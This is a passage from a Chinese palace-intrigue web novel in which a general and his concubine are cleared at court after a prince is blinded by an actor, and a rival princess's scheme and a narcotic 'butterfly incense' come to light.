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创胭脂红此法,奉给皇后娘娘,本将军十分好奇,今日有幸体验,登王爷大可不必手下留情。”
哪有人上赶着挨打的?
姜夜沉护妾如此,脸面都不要了,着实让人震惊。
登王爷理智尚存,自是不敢赏姜夜沉一顿胭脂红。
他遭皇上厌弃,当初差一点被弑夺封号,就是拜姜夜沉所赐。
他生在皇家,命定尊贵,做不来平淡无奇的贱民。
“一万两银票,本王要玉娇龙。”
老登王掏出银票,恨不得甩在姜夜沉的脸上。
还是忍了。
“登王爷您记岔了,这一万两银票,买您独享玉娇龙唱戏,时限是一个月。”
徐慧珠收下银票。
老登王这种人,人坏钱多。
得治。
“徐氏,你?”老登王心里越发不得劲,他再见玉娇龙的喜悦,被冲淡几分。
“登王爷又不愿给银子了?”
“我还给您就是。”
徐慧珠从荷包里掏出银票,递给老登王。
这时,玉娇龙挣脱金夏的挟制,扑上去欲夺银票。
不知何时,玉娇龙的手里添了一支金簪,头发散开,妖治如女妖。
脑子在这一刻陷入黑暗、馄饨,徐慧珠那张脸,看得玉娇龙窒息。
玉娇龙只剩下一个疯狂的念头:划花那张惹人生厌的脸。
因为,他此生的不幸,徐慧珠该负一半责任。
“登王爷小心。”
徐慧珠离老登王最近,她试图推开老登王,奈何她一个柔弱女子,再加上老登王身材臃肿,她不慎摔到在地。
“夫人?”姜夜沉出手更快,将徐慧珠拉入怀中。
“夫人太过心善,你呀你,让为夫说你什么好。”
玉娇龙手里的金簪好巧不巧插在老登王的左眼,“啊……”
“玉娇龙,你好大的胆子,竟敢行刺登王爷。”姜夜沉一锤定音,“玉娇龙,说,你背后的主子是谁?”
一个低贱戏子敢行刺登王爷?
万事没有自己的命重要,老登王褪尽欲望,唯有愤怒。
他心里清楚,玉娇龙缘何恨他,恨到不惜行刺。
“杀了他......”
第184章:独眼老登王
“去请太医,本王要所有的太医。”
“本王的眼睛要是瞎了,你们都**。”
“**!”
“啊……”
老登王痛到失禁,尿骚味弥漫。
“不。”
“我没有我没有。”
“有人......”
老登王带来的护卫根本不给玉娇龙辩解的机会,主子命令一下,护卫执剑刺穿玉娇龙的胸膛。
生怕晚一步,主子怪罪他们护主不力,要他们死。
太医来得快,半个太医院的太医都来了。
老登王手无实权,但他活得够老,皇上万般不喜,百般嫌恶,也得喊一声登皇叔。
众人围着老登王,没人注意到地上已奄奄一息的玉娇龙。
徐慧珠蹲下身,目光淡如水,冷如霜,“玉娇龙,你恨过太多人,可有恨过自己?”
“玉娇龙,你最该恨的,是自己。”
这一回,她不会再烂好心。
“徐慧珠,你万不该给过我一瞬的温暖,让我生出妄念,贪恋更多……徐慧珠,我好恨好恨你。”
玉娇龙耗尽力气说完,眼里光泽黯淡,断了气息。
半个时辰后,太医宣布,登王爷的左眼......瞎了。
往后余生,会有人背后叫老登王“独眼王爷”,他将是安国历史上第一位独眼王爷。
老登王顶着独眼入宫状告姜夜沉两宗罪,一是姜夜沉纵人行凶,玉娇龙为醉仙戏楼的戏子,戏子犯罪,东家全责。
姜夜沉当众承认,醉仙戏楼是将军府的产业。
或许,是姜夜沉指使玉娇龙行凶,也未尝不可。
玉娇龙**,死无对证。
话,自由老登王说。
“皇上,姜夜沉实在过分。”
“请皇上且听老臣一句忠言。”
“姜夜沉难堪锦衣卫统领大任。”
“危险之时,今日,姜夜沉为了一个妾,不管老臣的死活。他日,姜夜沉也可能不救皇上您。”
“皇上,您的安危,京城的防护,怎能交到姜夜沉的手里?”
瞎眼之仇,老登王记在姜夜沉身上。
又说,“皇上,老臣还以为,姜夜沉不能再统帅北疆军。”
“在国家和女人之间,姜夜沉万一选择女人……后果不堪设想啊。”
“皇上,他姜夜沉就是安国的一颗毒瘤,必须拔除。”
老登王前脚告完状,姜夜沉后脚就收到消息,李生德奉皇命卖姜夜沉一个好。
可怜老登王算盘打得精,转身就被皇上出卖得干净。
徐慧珠心中忐忑,玉娇龙污蔑她那句“奴是徐夫人的人”,不知姜夜沉会不会误会?
在传出“深闺寂寞贵夫人和年轻貌美戏子”流言蜚语之前,徐慧珠觉得大有必要同姜夜沉解释一番。
她在将军府,当姜夜沉的妾,一点儿也不觉得空虚寂寞。
难为旁人操心。
“夫人,将军请您去一趟府衙。”
徐慧珠一上马车,就看到姜夜沉,面色疲惫,闭目养神。
看来他是累极,才坐一回马车。
徐慧珠蹑手蹑脚爬上马车,她是心疼姜夜沉疲累,不忍吵醒。可在姜夜沉看来,徐慧珠似是做了对不起他的事情,心虚。
“夫人不打算说点什么?”
姜夜沉突然出声,徐慧珠身子一颤,摔倒在他的怀里。
“将军,我若说,我不是故意勾引,你可信?”
“夫人莫以为使美色诱惑,我就会原谅你的……不乖。”
徐慧珠挣扎着起身,奈何她已投怀送抱,不,是她入了狼嘴,哪逃得掉。
不乖?
她以为姜夜沉听信玉娇龙的话,当真对她生出疑心,怀疑她是那等肤浅至极的贪欲之女,一支红杏出墙到戏子身上。
“登王爷向皇上建议处死你,好让我成为真正的孤臣,除了效忠皇室,别无他用。”
徐慧珠打了个冷颤,她活着可真不容易,总是有人惦记她的性命。
“登王爷如此恨你啊,将军。”
老登王都失去一只眼睛,智商还是未长进分毫。
他再尊贵,还能尊贵过皇上?连皇上的心思都猜不准,连皇上的喜好敢轻视,活该老登王一辈子碌碌无为,不得圣心。
老登王该庆幸他投胎皇家,生来就
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拥有一层镀金的保护罩,就是他的身份。
“是啊,这京城里,恨我的人太多,登王爷不过其中一个罢了。”姜夜沉自嘲道。
自他受皇命回京城担任锦衣卫统领一职,这些年,他一直在得罪人,抓人抄家灭族流放……一桩桩,一件件,都是他率领锦衣卫做下的“恶事”。
他在那些人的眼里,是极恶之人。
不,他们不敢恨皇上,亦不敢骂皇上,却骂他是一条疯狗。
“我和登王爷都报官,两案并做一案,由府官大人审理。”
“夫人不用害怕,照实说便是。”
“一切有为夫在。”
才半月不见,老登王消瘦整圈。
也是,老登王嚣张又逍遥大半生,临老变成残废,肉体和精神经历双重疼痛,自是万般难受。
“姜夜沉,是本王高看你了,怎么?出了事,你就推出一个贱妾顶罪,平息本王的怒火?”
“哈哈哈……姜夜沉,你……不过如此。”
老登王秘密见过皇后娘娘,正如皇后娘娘所言,他瞎了一只眼已成无力改变的事实,那就让真正的凶手付出血的代价。
杀死徐慧珠,重伤姜夜沉。
此计,甚妙。
姜夜沉不语,似是没听到老登王的话。
他说他的,姜夜沉听见了,也是听不见。
“平义,此案本王已向皇上禀明,皇上的意思,事实如何,便如何审理。”
“若徇私枉法,你这京城府官,做到头了。”
老登王瞎了一只眼睛,容貌丑陋,心更阴毒,先是言语羞辱姜夜沉,接着明晃晃威胁府官大人,真当这府衙由他李氏皇族私设。
“请诸位放心,下官自当禀公依法审理。”
平义面色如常,他身为京城府官,见识过形形**的人,老登王这种人虽不常见,但也不是没遇见过。
他是皇上封的府官,只有忠心皇上,全心全意为皇上办事这一条康庄大道可走。
“徐夫人,请您叙述当时的情景。”
徐慧珠说到玉娇龙时,“我和玉娇龙算是旧识,我曾赠与他一百两银子……”
第185章:这脸,他当众丢不起
老登王一脚踢开椅子,指着徐慧珠噼里啪啦一顿骂:“好啊好啊,**,果然是你害本王。”
“徐氏,是你指使玉娇龙行刺本王。”
“呵!本王还当玉娇龙有几分傲骨,卖艺不**,原来早就和你私下**,被你金屋藏娇。”
老登王的火气压不住。
他怒玉娇龙伤他,更气玉娇龙有眼无珠,竟敢弃他选徐氏?
这口浊气,老登王忍不下去。
“案情已明了,徐氏和玉娇龙早有**,姜夜沉发现他们的**,玉娇龙才听话行刺于本王。”
“平义,你还在等什么?行凶之人、指使之人、背后之人……按律该怎么判就怎么叛。”
行凶之人,玉娇龙。
指使之人,徐慧珠。
背后之人,姜夜沉。
玉娇龙死于当场,贱如蝼蚁的人,死不足惜。
接下来是要徐慧珠的命,不,先毁徐慧珠的名声,再让她**死去。
最后,轮到姜夜沉,死不了,但活着生不如死。
不能人道,是钉死他的耻辱。
手握权势的忠臣,到头来,他就是天下最大的笑话。
徐慧珠不急不缓,说道,“登王爷您说完了吗?您若说完,请稍后片刻,我……还没说完。”
姜夜沉倒是勤快,递上一杯凉茶,“府衙这里的凉茶不错,登王爷喝一杯,去去火气。”
登王爷接过茶盏,一饮而下,烫的“哎呦”一声,当即扔了茶盏。
“姜夜沉,你……你敢戏耍本王?”
“咦,好生奇怪,这凉茶到了登王爷的嘴里,变烫了?”姜夜沉难得有心情开玩笑,平义诧异到差点没拿稳手里的惊堂木。
“姜夜沉,你……你?”老登王觉得受伤的左眼又痛了。
他出门前才服下止疼药丸,这么快就失去效用。
一群庸医。
也是,连他的眼睛都保不住,不是庸医,是什么。
老登王本就脾气暴戾,自瞎了一只眼后,一丁点儿小事、一句话,随时随地他都会暴躁如雷,每个后半夜从登王府抬出去,扔到乱葬岗的尸体,都还没凉透。
“玉娇龙原名杨昌宗。”
“有一年我随父亲回乡祭祖,路上遇到身无分文的杨昌宗,我动了恻隐之心,赠与他一百两银子,助他入京参加科举考试。”
“后来,杨昌宗竟打听到父亲和我的身份,登门求亲,扬言对我一见钟情,非我不娶。”
“我又见了杨昌宗一回,劝他科举考试为重,莫为儿女情长之事耽误前途……”
“谁成想,再次见面,杨昌宗已是名响京城的戏子。”
这回,平义接话,“徐夫人说言之事属实。”
“两年前,玉娇龙突然不再唱戏,无人知晓他的踪迹……”
姜夜沉看向老登王,“玉娇龙两年前缘何隐匿,此事登王爷或许知情。”
“锦衣卫已查清,登王爷在玉娇龙没了音讯后,玉娇龙所在的戏楼连番遭受不明势力打击,最后戏楼关闭,几十号人离开京城……”
“听说,登王爷一掷万金,欲娇养玉娇龙于王府,独赏玉娇龙唱戏。玉娇龙不知好歹,竟敢不辞而别,跟登王爷玩起了失踪戏码......”
言下之意,他已查清内情,玉娇龙两年前隐匿,说白了与老登王有关。
当初,老登王一心发泄怒火,寻不到玉娇龙,便将满腔怒火发泄在戏楼和那些人身上,只是搞垮一间戏楼,逼得几十号人断了生计。他没要那些人的贱命,已是他仁慈宽容。
那件事情,老登王命人暗里做,但并不算隐秘,若锦衣卫出手,定能查到蛛丝马迹。
再说,老登王的独特嗜好,京城贵人圈谁人不知谁人不晓。
别人后宅娇养环肥燕瘦的美人,老登王的后宅娇养花容月貌的美男子。
玉娇龙的容貌绝色,身段妖娆,再加上他会唱戏,唱腔如山涧流水,流啊流啊,流到老登王的心坎上。
“姜夜沉,莫向本王身上泼脏水,本王何等身份,你岂敢?”老登王不能承认,他曾觊觎一个低贱戏子的美色。
这脸,他当众丢不起。
他享受皇族尊贵身份带来的好处,也得承受其重。
“本王的时间宝贵,徐氏是什么身份?本王听她讲故事?”
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>“徐氏是戏子不成?若姜夜沉的妾室是戏子,本王倒是有闲情逸致听一曲。”
老登王,人越老,嘴巴越毒。
满嘴喷恶心人的毒液。
姜夜沉敢揭他的老底,那就莫怪他当众羞辱徐慧珠,让姜夜沉难堪。
来,互相伤害啊。
“平义,证据确凿,审吧。”
府衙的椅子又硬又狭小,老登王身材肥硕,坐着如受刑,难受的紧。
刚刚他的情绪激动,感觉左眼伤口裂开,似是有血流出。
他的心情,前所未有的糟糕、浮躁。
“登王爷又又又威胁本将军?”
“案情还未明了,登王爷就说证据确凿?”
“伤登王爷您的是玉娇龙,您张口诬陷本将军和夫人指使,闭口言语羞辱皇上亲封的诰命夫人。”
“以登王爷之意,这案子不该劳烦府官大人审理?”
“不如让府官大人退位让贤,登王爷您暂代府官大人一职,定了本将军的夫人的罪,即刻处死?再撤了本将军的官位?”
“如此,登王爷您可满意?”
老登王差点脱口而出:就该如此。
皇后娘娘说,姜夜沉命硬,杀死不易,那就转换方向,逼死徐慧珠,以达到羞辱姜夜沉的目的。
姜夜沉恨不能宣告全天下,他有多宠多爱徐慧珠。
若徐慧珠**,他宠谁爱谁?
可谓**诛心。
姜夜沉那人,活该活成孤家寡人。
气氛僵硬。
平义手里的惊堂木,握着不妥,敲击案桌也不是。
“登王爷您……您看?”
“要不此案暂且搁置,容下官这就入宫见过皇上?”
平义本就默默站位姜夜沉,他是京城府官,虽官位品阶不高,但他的上峰是皇上,拥有随时面见皇上的特权。
他平日里应付的贵人不少,哪个不是面带三分笑,说话四分客气。
可,老登王咄咄逼人不说,连一分尊重都没有,几乎是指着鼻子骂他“狗奴才”。
呵,就算他是奴才,也是忠心于皇上的奴才。
“平义,你……你?”
“狗奴才!”
第186章:垂垂老矣的老不正经
老登王气结,怒骂道:“狗奴才。”
一个小小的府官,竟敢当面阴阳他?
他就算瞎了一只眼睛,仍是尊贵至极的登王爷,皇上见着他,也得尊称一声“皇叔”。
平义懒得理会老登王,垂垂老矣的老不正经。
殊不知,他的儿孙私下求皇上,宁肯外放,也不愿待在京城,活成别人眼里的笑话,嘴里的八卦。
“下官在锦衣卫和护龙卫的协助下,已查明当年捧红玉娇龙的是凝华郡主,后因登王爷瞧上您玉娇龙,凝华郡主这才将人悄悄藏起来。”
“谨郡王的死,嫌疑人是郡王妃荣慧,而荣慧和徐夫人有一层表姐妹关系。”
“也因这层关系,凝华郡主恨上了徐夫人,指使玉娇龙搞臭徐夫人的名声,最好的结果是将军一怒之下将徐夫人沉塘……”
“不成想,登王爷您突然出现在醉仙戏楼后台,玉娇龙慌乱、恐惧之下,不慎伤了您。”
“说来,这是一场意外。”
平义拿出凝华郡主的供词,上面有凝华郡主的签名和私章,做不得假。
皇上既已出动护龙卫,平义能撬开凝华郡主的嘴,不,应该说,就是给凝华郡主一百个胆子,她不敢撒一句谎。
“意外?”
老登王喘着粗气,只觉呼吸入口的空气里含了黄连,苦的他说不出一句话。
合着他折腾半晌,到头来得到的结果是——意外。
哪有那么多的意外,偏偏让他碰见?
他瞎了一只眼睛,是意外?
该死。
统统该死。
老登王气到心口痛。
“多谢府官大人明察秋毫,还我清白。”
徐慧珠朝向皇宫的方向跪下,头磕的实诚,“吾皇乃千古明君啊。”
“吾皇万岁万岁万万岁。”
“臣妇自此每日清晨跪在菩萨面前,为吾皇祈福,愿菩萨佑吾皇万岁,保安国**江山永固。”
徐慧珠这一番话,必定会长上翅膀,飞入皇宫,传到皇上耳中。
姜夜沉嘴角抽了又抽,他能想象,皇上听到这话时,脸上绷不住的笑容。
又说,“凝华郡主想要害我,万万没想到,殃及到登王爷……”
“我本无辜,登王爷也无辜啊。”
徐慧珠看向将军,说了一句好假的话,“将军,我这心里实在过意不去。”
“万幸的是,凝华郡主没害到我。”
“不幸的是,登王爷瞎了一只眼睛,不幸中的万幸是登王爷性命无碍。”
“登王爷本就上了年纪,视力退化,如今只余一只健康的眼睛,不知可看得清楚……”
姜夜沉取出一千两银票,双手奉上,“登王爷,您诊治眼睛的诊金,由本将军支付。”
“这一千两银票您先收着,若不够,可派管家来将军府说一声。”
腹黑如姜夜沉。
不,应该说,阴险蔫坏如姜夜沉。
姜夜沉这是给老登王的左眼明码标价,一只瞎眼,价值一千两银子。
“哼。”
“猫哭耗子假慈悲。”
“姜夜沉,本王不缺你的一千两。”
老登王起身动作过于猛烈,身下椅子散架,老登王站立不稳,一屁股瘫坐在地上,痛得嚎叫。
也是,他那尊贵的屁股,还是头一回受苦受辱。
“哎呦。”
“请登王爷恕罪,都怪……都怪府衙置办的椅子不结实,让您的屁股受疼了。”
“快快快,快请大夫。”
平义说话功夫,人已冲到老登王跟前,使力扶起,奈何老登王身子臃肿,平义跟老登王相比,一个大南瓜,一根豆芽菜。
力量本就不匹配。
“府官大人,本将军来搭把手。”
姜夜沉和平义一左一右扶起老登王,“登王爷,身子可有碍?痛不痛?”
这一下,摔得老登王痛到眼泪汪汪。
他,好想哭。
“滚。”
“姜夜沉,本王不需要你的假好心。”老登王怒吼道。
老登王年纪很老,脾气更大。
此刻,他怒火中烧,听不得姜夜沉说话。
只是,老登王用力一甩手,姜夜沉顺势一松手,老登王又一屁股瘫坐在地上。
这回,老登王似是听见一声脆响。
来自他的屁股。
说话的功夫,大夫扛着药箱小跑进来,满脸烦躁
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,“两个**犯互殴,一个被徒手戳瞎两只眼,另一个被利器割开肚子,肠子都流出来了。”
“府官大人,您着急忙慌叫我来,谁快**?还是?”
“赶紧让我瞧瞧,不是奄奄一息,就先等一会儿。”
“我还得给**犯归拢肠子缝肚子去……”
陶金是从战场上退下来的老军医,医术了得,脾气火爆,一般人不敢招惹他。
他曾在鸡儿岭战役时,作为皇上的随军大夫,侍奉左右,以护皇上周全。
以陶金的医术,可入太医院,他却不愿,选择待在京城府衙,为犯人治病。
但,无人敢轻视陶金。
陶金的手里,捏着一枚皇上赐下的金牌。
可保命,亦可仗势。
“咦?登王爷,您……您怎么坐在地上?”
“地上多凉啊,您金尊玉贵的,若是感染风寒……”
陶金伸手去抓老登王的胳膊,动作可不算温柔。
这也不行怪他,他在战场上,大多时候给将士看诊,一个个都是糙汉子。
回京后,给**看诊,不乏穷凶极恶、坏事做尽的犯人。
习惯使然。
“放肆。”
“本王命令你,不准用你脏手臭手碰本王。”
刚刚陶金说的话,恶心到老登王了。
一想到陶金刚刚给一个****犯装肠子缝伤口,现在又给他把脉。
晦气。
他堂堂王爷之尊,万万不能同**犯共用一个大夫。
“既如此,登王爷另请高明吧。”
陶金冷哼一声,背起药箱,转身离开。
走到门口,陶金冲平义发一顿脾气,“府官大人,不是我多余吐槽您,您明知我一天天有多忙,恨不能一个人长出十双手来用,日后别再给我寻乱七八糟的麻烦。”
“我去给重伤的**犯捋肠子去,**犯要是**,府官大人您上报皇上时得说明,不碍我医术的事。”
“这个黑锅,我不乐意背。”
又说,“我也得给那**犯先说一声,他若是活不成,冤有头债有主,找对人报血仇。”
众人的目光齐刷刷对准老登王......
第187章:蝴蝶香
都怪老登王矫情,让陶金多余跑一趟,白白耽误时辰救人。
不对啊,一个罪孽深重,本就秋后问斩的**犯,死不死的,重要吗?
众人心思恍惚了一下,才反应过来,自己差点儿被陶金几句话带偏。
老登王又怒又痛,无疑是精神和肉体双重煎熬。
老登王欲张嘴骂陶金,眼前哪有陶金这个人。
真真是岂有此理。
老登王不愿意让陶金的脏手诊治是一回事,陶金竟敢当众嫌弃他?
一个**犯比他重要?
太医来得快,先前老登王左眼受伤那回,皇上仁慈,派两名太医长驻登王府。
登王府距离府衙只隔两条街,太医一通检查,脸色越发严肃,其中一人硬着头皮禀报:“登……登王爷,您……您应该是伤到腰骨,但伤到何种程度,得请太医院里擅长骨伤的太医来详细摸骨。”
其实,太医心中纳闷,以老登王皮厚肉厚的程度,他就是摔十个屁股蹲,也很难伤到骨头啊。
平义心里吐槽:果然贵人比他们“身娇肉贵”。
又过五日,姜夜沉带锦衣卫查抄凝华郡主的郡主府。
皇上下旨贬凝华郡主为庶民,终生囚禁于宗人府,日日受劳作之苦,日日向着皇宫方向跪足两个时辰。
凝华郡主从出生便在福窝里长大,一路顺风顺水,连娇养美男子这般违背女德的事情都敢做,她万万想不到自己有朝一日会落得如此可怜可悲的下场。
她不就是指使玉娇龙去污徐慧珠的名声,让全京城的人都知道徐慧珠水性杨花,**下流。
她堂堂郡主,就算往徐慧珠身上泼污水又如何?
妾而已。
至于玉娇龙为何刺瞎老登王的眼睛?
她如何知晓。
玉娇龙突然发疯,这明明是不可控因素,她又没在现场,与她何干。
锦衣卫破府而入之时,凝华郡主正忙活着享受美貌面首的侍奉。
醉意六分。
说明来意,凝华郡主暴怒,先声夺人。
“姜夜沉,你?”
“是你?”
“是你向皇上进谗言,害本郡主?”
“姜夜沉,你为了一个妾,竟敢陷害皇族郡主?”
“就不怕传出去,战场上令敌人闻风丧胆、**无数的杀神将军,其实被一个贱妾拿捏?**于股掌?”
姜夜沉冷脸不语。
凝华郡主看到锦衣卫冲进后院,当着她的面,给她的貌美面首们,一人发放五百两补偿金,当场遣散。
她后悔了。
早知道算计徐慧珠的代价这么大,她何苦自讨苦吃?
再说,荣慧那个贱女人才是害死谨郡王的凶手,徐慧珠和荣慧只有一层亲戚关系在,凝华郡主差人打听过,两人之间的关系很不好。
她一时脑热,恨屋及乌。
哪成想,姜夜沉对徐慧珠一个妾的偏宠实打实。
凝华郡主后知后觉,她这回是踢到铁板上了。
想到这里,凝华郡主放下骄傲。
“姜夜沉,本郡主承认……错了。”
“本郡主保证,日后不再与徐慧珠为难……”
话都让凝华郡主一人说了。
姜夜沉目色冷漠,打断道,“凝华郡主,有没有人当面指出,你的话太多了?”
他招来一名太监,“宣读皇上旨意。”
又说,“对了,凝华郡主刚刚辱骂我的那些话,一并如实禀告给皇上。”
宣纸太监恭敬答道,“是,大将军,奴才省的。”
待凝华郡主听完旨意内容,人已失神,接着爆发一声嚎叫,“不不不,不可能。”
“本郡主不信,不信不信不信……”
凝华郡主瘫坐在地上,紧紧裹拢身上的华服,喃喃道,“本郡主生为郡主,死亦为郡主。”
“本郡主只会当郡主,做不来庶民,做不来的。”
姜夜沉根本不在意凝华郡主是发疯,还是醒悟。
他只问一句,“凝华郡主您在黑市出售蝴蝶香,赚了多少银子?”
......
自凝华郡主被皇上下旨抄家,弑夺封号,囚禁于宗人府后,凝如郡主直接吓病,惶恐不可终日。
明面上,皇上震怒,严厉处置凝华郡主的原因,是凝华郡主和老登王为争夺“美色”,几欲闹出人命。
私德败坏,品行不端,心肠歹毒……如此,不配皇族郡主身份。
但,凝如郡主觉得,另有真相。
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凝华郡主完了,下一个,是她吗?
她同凝华郡主一起,狠狠得罪过徐慧珠。
富贵迷人眼,玉娇龙在见识,享受惯了郡主府的荣华富贵后,迷失本心,早已“玩物丧志”。
是凝如郡主瞧见玉娇龙,突然记起玉娇龙和徐慧珠曾有过一段往昔,何不利用一番?
贵人喜好的报复手段,只取人性命,太低级无趣了些。
**之前,先施足折磨、羞辱。
当初凝如郡主当面嘲讽玉娇龙癞**想吃天鹅肉——痴心妄想,一介穷酸潦倒的书生竟天真地以为可凭美貌攀附上贵女。
说来好笑。
一见钟情?
滴水之恩当以身相许?
一个贱民,一个贵女,他们之间隔着千山万水的身份鸿沟。
当然,凭玉娇龙的美貌和才华,当一个取悦贵人的玩物。
勉强够上资格。
一个玩意儿而已,凝华郡主对玉娇龙能有几分真心,娇养两年,也快腻了。又怎会为了玉娇龙刺伤老登王?
这么浅显的道理,凝如郡主不能信。
她不禁想:仅仅是得罪徐慧珠,就被姜夜沉栽赃陷害至此?
还是,有旁的原因。
凝如郡主越想,心越乱越慌。
美貌面首使出浑身解数伺候,凝如郡主仍提不起半点兴趣,味同嚼蜡。
“奴有一计,或能助郡主您渡过难关。”
一名貌美面首捧着凝如郡主的玉足,如同稀世珍宝,细细亲吻。
隔日,徐慧珠正对镜梳妆,金夏站在门外禀告,“夫人,凝如郡主登门,带了一车厚礼,说是向您赔罪,您看,见是不见?”
姜夜沉躺在床榻上,假寐。
谁会想到,受万民敬仰的大将军一有闲余时间,就赖床。
“将军觉得这个时候,我见,还是推了?”
“将军前几日待锦衣卫抄家凝华郡主的郡主府,将人送进宗人府囚禁。”
“凝华郡主已供出那害人不浅的蝴蝶香,源源不断由凝如郡主提供,将军为何不顺势动一动凝如郡主?”
“因为凝如郡主背后的临海王?”
徐慧珠说着目色一顿,回头与姜夜沉对视,“难道……和临海王有关?”
第188章:是皇上的意思
“也是,一个嗜好享乐美色的凝如郡主,除了乖顺当好临海王手里的棋子,能有什么远大抱负。”
在姜夜沉的面前,徐慧珠说话不必顾忌,向来有什么说什么。
“夫人猜测没差。”
“凝如郡主和凝华郡主不仅坏的雷同,还是绑在一条船上的蚂蚱。”
姜夜沉起身,走到梳妆桌前,拿起黛砚为徐慧珠描眉。
“放长线钓一条大鱼,是皇上的意思。”
姜夜沉心头一惊,明明是第一回给徐慧珠描眉,为何他的手法娴熟,似是为徐慧珠描眉过上百次。
姜夜沉掩下心里的涟漪,继续说着正事。
锦衣卫调查的事情,对旁人来说,是绝对的隐秘。
可一个又一个隐秘从姜夜沉的口中说出,如同在讲昨日哪家府上发生丑闻,今日京城街巷又出什么新鲜事儿。
“据锦衣卫查探到的消息,临海王在东海一带秘密种植一种植物,正是炼制蝴蝶香的原料。”
“蝴蝶香最厉害之处,在于能让人短暂忘却或烦恼,或痛苦的事情,净化人的心灵,如蝴蝶在花丛中翩翩起舞,感官里唯有无穷无尽的愉悦。”
“长期使用蝴蝶香,人会渐渐生瘾,或者说人会贪恋蝴蝶香让人生出的那种美妙感觉,渐渐迷失心智。”
“终归是害人的东西。”
蝴蝶香这两年已在京城贵人圈盛行,不知,临海王利用蝴蝶香,探听多少秘密,做下多少事?
徐慧珠先前并未听说过蝴蝶香,不过因为户部尚书府和将军府规矩森严,以凝华郡主和凝如郡主之力,攻不下。
又怕,一招不慎,暴露临海王的布局。
“可是,将军,临海王想谋什么?”徐慧珠心里冒出一个大胆的想法。
“是呀,皇上也颇为疑惑,临海王在谋什么?”
“临海王本就是血脉正统的皇族,手握东海兵权。”
“可以说,在东海一带的城池,临海王是——皇帝。”
“人心易变,人心更贪婪,若临海王不满足于当东海一带的‘王’,他会怎么做?”
这些隐秘,姜夜沉敢说,徐慧珠为何不听。
“金夏,请凝如郡主去厅堂喝茶,就说我和将军今日起得迟了,待收拾停当便亲自招待。”
“凝如郡主登门送礼,岂有不收之礼。”
“听说凝如郡主的郡主府后院娇养的貌美面首多达十一位,我便回礼十二套胭脂水粉,将军,觉得可好?”
既已知晓圣意,徐慧珠为挣表现,打算为自己的靠山做点什么。
“甚好甚妙。”
“但凭夫人做主。”
凝如郡主心情忐忑登门,不成想,徐慧珠是个过分贪财的女人,竟敢收下她送的厚礼。
凝如郡主一时恍惚,不知该高兴,还是嘲讽姜夜沉枉为大将军,却纳徐慧珠这个祸害为妾。
迟早,祸害死姜夜沉。
呵!可惜了。
凝如郡主从金夏的话里听出另一个讯息,姜夜沉和徐慧珠昨晚忙活太久,今日才起迟了?
姜夜沉不能人道,人尽皆知,他们自是不能在床榻上行鱼水之欢。
难道,两人在说话?有说不尽的私房话?
说了一夜?
凝如郡主想着事,想得口干舌燥,不知不觉喝下两壶茶水。
直到她后知后觉腹中撑的难受。
“将军和徐氏呢?”
“本郡主已等候一个时辰……”
凝如郡主一向傲娇惯了,她又不是求见皇上,凭什么让她一等再等。
“郡主请稍候,奴婢这就去瞧瞧。”
金夏又添满一壶茶水,才离去。
心里一阵蛐蛐:叫夫人“徐氏”?一看就不是个好东西。
她金夏在小册子上记下了。
凝如郡主端着茶盏的手一抖,她的郡主府缺上等茶叶?专门跑来将军府喝茶?
凝如郡主心里的怒火刚冒出来,金夏就回来了,添一把新火。
“回禀郡主,将军和夫人正在用早膳,我家夫人说边疆苦寒,物资匮乏,将军落下胃痛的毛病,早膳误不得。”
“我家夫人说,得劳烦郡主再等候片刻。”
凝如郡主:都快午膳的时辰了,还说将军胃痛,早膳误不得?
她能说一句,不等吗?
“我家夫人还
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说,郡主饿不饿?可要厨房送来一桌饭菜?”
凝如郡主的脸色,变了又变。
她郡主府没吃食吗?特意跑到将军府求一口饭?
“不必。”
“本郡主不饿。”
凝如郡主还得忍着火气回应。
金夏又麻利添一壶茶水,还贴心地换了另一种茶叶。
“我家夫人还说,皇上赏赐将军十多种上等茶叶,听闻郡主擅品茶,不妨都尝尝。”
凝如郡主:她就是爱茶成痴,也不愿一口气品数十种茶叶啊。
凝如郡主觉得,她还未见到姜夜沉和徐慧珠,已喝了一肚子茶水,装了一肚子浊气。
她此刻想回郡主府,抽烂那名面首的嘴,都怪他出的馊主意。
她是疯了傻了,才会听信一个低贱面首的话。
待姜夜沉和徐慧珠携手出现之时,凝如郡主快要撑不住了。
茶水撑,气更撑。
一番见礼,凝如郡主直接说明来意。
“先前在温德夫人操办的赏花宴,本郡主言语不当,伤了徐……夫人,是本郡主的不是,不该误信他人言,以为徐夫人……”
“本郡主备下歉礼,还请徐夫人原谅则个。”
不等徐慧珠回话,凝如郡主忙看向姜夜沉,说道,“大将军,兄长曾说过,他和你的处境相同。”
“为臣者,自得尽忠皇上,一心百姓。可大将军可曾细想过,一朝天子一朝臣,未来君王当真容得下拥兵之人,那时轻飘飘一句‘拥兵自重,或有异心’……”
“大将军,兄长说,东、北两疆该守望相助才是出路。”
这些话,确为临海王交待。
但,临海王警告,若非万不得已,莫相告姜夜沉。
从暗桩传回的消息,姜夜沉自接任锦衣卫统领以来,不是在**,就是在抄家。
姜夜沉此人,是英雄,更是危险人物。
凝如郡主一口气说完,仔细观察姜夜沉的神色。
她的心,砰砰跳动。
为掩饰心虚,她赶忙端起茶盏,又饮一杯。
茶水滚烫,她痛呼出声,茶盏掉落在地,碎裂成片......
第189章:一朝郡主,一夕奴女
“金夏,重新沏一壶茶来,凝如郡主喝不惯皇上赏赐的贡茶。”
徐慧珠又说,“凝如郡主今日携厚礼登门,不过摔碎一只皇上赏赐将军的茶盏罢了,不妨事不妨事。”
凝如郡主:……
她禁不住恼怒自己,她抛出兄长的诚意,又自己坏了事。
这?
徐慧珠如此明显阴阳,凝如郡主愣是没听出来。
“大将军,兄长……兄长他?”
凝如郡主欲转回正题,大福来禀,“将军,皇上急召。”
姜夜沉起身,留下一句,“一切,夫人做主便是。”
“为夫先去忙。”
“晚膳,等为夫,陪夫人同用。”
自始至终,姜夜沉没同凝如郡主说过一句话,连看一眼不曾。
他之所以出现,只为徐慧珠撑面。
他该不是担忧,她仗郡主身份欺负徐慧珠?
姜夜沉刚离开,不等凝如郡主继续话题,襄王妃派人来请徐慧珠去醉仙戏楼赏戏。
就是这般凑巧。
“凝如郡主刚刚说什么?”
又吩咐金夏,“赶忙准备,莫让襄王妃久等才是。”
这逐客令下的,凝如郡主不自个儿走,等人家轰她吗?
凝如郡主气结,她咬牙装一车厚礼,不惜曝光兄长的野心。
结果呢?
根本就没有结果。
凝如郡主心事重重,一脸菜色往大门方向走去,迎面撞上一人。
凝如郡主惊叹:天呐,哪里来的黑炭丑男。
吓她一大跳。
